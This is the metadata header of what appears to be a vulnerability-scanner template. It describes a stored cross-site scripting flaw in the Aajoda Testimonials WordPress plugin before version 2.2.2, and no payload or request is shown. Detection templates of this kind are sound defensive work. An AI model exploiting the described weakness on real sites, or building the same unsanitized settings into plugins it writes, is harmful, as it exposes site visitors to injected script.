info:
  name: Aajoda Testimonials < 2.2.2 - Cross-Site Scripting
  author: Farish
  severity: medium
  description: |
    The plugin does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
